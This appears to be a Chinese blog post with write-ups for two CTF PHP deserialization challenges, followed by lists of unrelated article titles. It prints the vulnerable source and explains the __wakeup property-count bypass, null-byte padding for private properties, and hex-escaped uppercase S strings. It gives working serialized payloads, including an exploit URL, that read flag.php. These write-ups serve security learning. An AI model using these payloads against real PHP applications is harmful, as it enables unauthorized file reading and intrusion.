[极客大挑战 2019]PHP

提示源码泄漏,来用扫描器扫一下

扫出来www.zip,然后下载下来



有五个文件,代码审计一下

这个地方有一个可以反序列化的点,找到类



逻辑很简单,username=admin password=100即可

但是有一个wakeup魔术方法会将我们的username=guest,改对象属性个数绕过即可



本地写个测试文件来找payload

<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes'; public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
} function __wakeup(){
$this->username = 'guest';
} function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die(); }
}
} $name = new Name('admin','100');
echo serialize($name); // payload O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

然后注意是私有属性,别忘了加%00

payload = http://00ec61b4-c182-4e4c-9b0e-e733a0d2ebc7.node3.buuoj.cn/?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;s:3:%22100%22;}

得到flag

[网鼎杯 2020 青龙组]AreUSerialz

题目直接给了源码

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
protected $filename;
protected $content; function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
} public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
} private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
} private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
} private function output($s) {
echo "[Result]: <br>";
echo $s;
} function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
} } function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
} if(isset($_GET{'str'})) { $str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}

容易发现逻辑是我们get方法输入字符串,然后经过检查后反序列化,调用析构函数,先判断如果op是2,就将其置为1,但是是强类型判断,反序列化的时候将其置为整型就绕过了

然后是进入到process函数,调用read函数,读flag

但是最重要的一点是有检查函数,必须输入可打印字符,因为protected和private都有%00,我们有两种方法绕过,见exp

<?php
highlight_file(__FILE__); class FileHandler
{ protected $op = 2;
protected $filename = 'flag.php';
protected $content = 'lemon'; } $test = new FileHandler();
echo serialize($test);
// O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:5:"lemon";}
// PHP7.1以上版本对属性类型不敏感,可以用public属性来绕过检查 // O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";s:10:"\00*\00content";S:5:"lemon";}
// 在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示

拿上面两个payload任意一个打,都可拿到flag

最新文章

  1. VirtualBox Guest Additions 在CentOS中无法安装的解决方法
  2. CTO、技术总监、首席架构师的区别
  3. iOS - UITextfield 验证邮箱格式
  4. [LintCode] 3Sum 三数之和
  5. python(三)set集合
  6. python 字符串 转 dict
  7. KindEditor
  8. 20151207jquery 学习笔记 Ajax
  9. easyui-lang-zh_CN.js导入后还是英文提示
  10. javascript常用插件
  11. A transition animation compatible Library.
  12. java判断数据类型两种方式
  13. KoaHub.js -- 基于 Koa.js 平台的 Node.js web 快速开发框架之koahub-handlebars
  14. js基础--javaScript数据类型你都弄明白了吗?绝对干货
  15. 流媒体协议(一):HLS 协议
  16. IdentityServer4之Client Credentials(客户端凭据许可)
  17. 添加用户到sudoers
  18. Python+Selenium学习--自动生成HTML测试报告
  19. php数据库单例模式理解
  20. TCP长连接保持连接状态TCP keepalive设置

热门文章

  1. (转)CrudRepository JpaRepository PagingAndSortingRepository之间的区别
  2. 《Netty权威指南》笔记
  3. Bulldog1靶机渗透
  4. 从 ES6 高阶箭头函数理解函数柯里化
  5. C++实现链表---可直接运行通过
  6. 在C++中使用libuv时对回调的处理 (2)
  7. Codeforces Global Round 11 A~D题解
  8. 【基线检查】(高)基线检查--禁用local-infile选项(访问控制)
  9. Linux 下 svn 场景实例及常用命令详解
  10. 技术分享丨华为鲲鹏架构Redis知识二三事